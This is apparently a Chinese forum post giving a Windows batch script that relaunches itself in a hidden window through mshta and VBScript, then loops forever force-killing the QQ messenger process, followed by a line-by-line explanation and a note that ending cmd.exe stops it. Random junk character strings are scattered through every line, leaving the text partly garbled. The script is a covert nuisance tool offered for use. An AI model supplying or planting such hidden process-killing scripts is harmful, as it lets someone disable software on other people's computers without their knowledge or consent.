|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
: @2 t- _( s4 l# s4 o( k k3 I新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
e& Z( ~9 s- R( U- F& }4 f
$ T/ `' m b0 m" i1 H# E@echo off
x; V, g+ Y* eif "%1" == "h" goto begin $ _) g$ j1 n! e; O( P; l
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit 2 R0 R# W1 e; |& [9 y/ c$ t
:begin / F, O1 q% e' j, O
tasklist |find /i "QQ.exe" - d( h. {& r0 M; E
if %errorlevel%==0 (goto killit) else (goto next)
6 S6 P7 p' F2 A* }1 d7 }! @" O8 |:killit ( ?4 z" i6 Z: F+ [9 B" f& H5 A5 S
taskkill /f /im QQ.exe
* m4 v. L" D. `# I:next 1 t: O* z/ M7 Q- J: _2 o: X
ping -n 3 127.t >nul 2>nul " ~# f) l3 L" `
goto begin ) o( _, O- t7 P! _. E: H; B
' ] c; p( o* Q& F) w8 | G- o# h* }/ n
代码到此为止 ; P5 N6 v) j5 H/ F
讲解如下:
- h2 [ O: { e3 `+ ?4 D; L@echo off ------关闭回显 0 J: i g$ `3 P P; }$ G
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 . b7 D, R3 s7 r: y( n3 r! g
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 ! T: [. Y& q. F8 U# x. Y# _3 }3 y* a
:begin ------------定一段名begin
! f8 k+ A' f- Utasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
D' h7 d. V! fif %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next , I8 I3 k6 F; o
:killit 7 R$ |' P" u( E! y* O" N
taskkill /f /im QQ.exe----终结进程QQ.exe - S' U x' W& W; D
:next
. t! w! L$ @3 h( {& G5 r* ^ping -n 3 127.t >nul 2>nul -----延迟一段时间
1 {7 Z# G+ E4 ]1 ^$ f$ Ngoto begin--------------返回执行begin T$ v0 F- A" D+ {: H& V
|
|